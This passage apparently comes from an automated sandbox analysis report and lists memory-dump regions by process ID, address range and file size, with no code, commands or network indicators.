                                                                                                                                                                                                                                                                                                                                                                                                                                                                    100KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-146-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    100KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-136-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    572KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1972-360-0x0000000006120000-0x000000000626C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2204-219-0x0000000002FD0000-0x0000000003019000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    292KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2204-240-0x0000000000400000-0x0000000002DC2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    41.8MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2484-280-0x00000000078E0000-0x00000000078E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2484-270-0x0000000007A30000-0x0000000007A31000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2484-283-0x00000000082C0000-0x00000000082C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2484-197-0x0000000004440000-0x0000000004441000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2484-433-0x000000007E6D0000-0x000000007E6D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2484-252-0x0000000004A22000-0x0000000004A23000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2484-232-0x0000000004A20000-0x0000000004A21000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2484-468-0x0000000004A23000-0x0000000004A24000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2484-201-0x0000000004440000-0x0000000004441000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2484-275-0x0000000007F10000-0x0000000007F11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2780-262-0x0000000005760000-0x0000000005761000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2780-236-0x0000000005250000-0x0000000005251000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2780-233-0x0000000005080000-0x0000000005081000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2780-196-0x0000000000880000-0x0000000000881000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2780-215-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/2844-216-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    80KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/3024-678-0x0000000002950000-0x0000000002966000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    88KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/3024-307-0x00000000028C0000-0x00000000028D6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    88KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/3144-363-0x0000000006000000-0x000000000614C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/3720-437-0x0000000001390000-0x0000000001391000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/3824-228-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4060-561-0x00000000054D0000-0x00000000054D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4092-605-0x0000000004B72000-0x0000000004B73000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4092-552-0x00000000020B0000-0x00000000020E9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    228KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4092-572-0x0000000004B70000-0x0000000004B71000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4104-245-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    80KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4172-697-0x0000000077B10000-0x0000000077C9E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4180-546-0x0000000002180000-0x0000000002255000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    852KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4252-269-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4356-667-0x0000000000450000-0x000000000059A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4356-593-0x0000000000450000-0x000000000059A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4364-342-0x0000000004D90000-0x0000000005396000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.0MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4364-294-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    136KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4392-297-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    136KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4392-343-0x00000000054F0000-0x0000000005AF6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.0MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4468-341-0x00000000052C0000-0x00000000058C6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.0MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4488-407-0x0000000005FA0000-0x0000000005FA1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4488-379-0x0000000077B10000-0x0000000077C9E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4532-518-0x0000000077B10000-0x0000000077C9E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4612-627-0x00000000027E0000-0x00000000027E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4800-292-0x0000000000800000-0x0000000000801000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4800-347-0x00000000050E0000-0x00000000050E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4840-645-0x0000000000500000-0x000000000064A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4888-457-0x00000000049B0000-0x00000000049B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4892-537-0x0000000077B10000-0x0000000077C9E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4892-659-0x0000000002A00000-0x0000000002A01000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4936-693-0x0000000077B10000-0x0000000077C9E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/4960-523-0x0000000000C80000-0x0000000000FA0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/5084-529-0x0000000000840000-0x0000000000842000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/5096-512-0x0000000077B10000-0x0000000077C9E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/5156-583-0x0000000005820000-0x0000000005821000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/5712-683-0x0000000000400000-0x000000000091D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/5712-672-0x0000000000400000-0x000000000091D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/5788-634-0x0000000000400000-0x0000000000408000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    32KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6076-688-0x00000000049E0000-0x0000000004D00000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3.1MB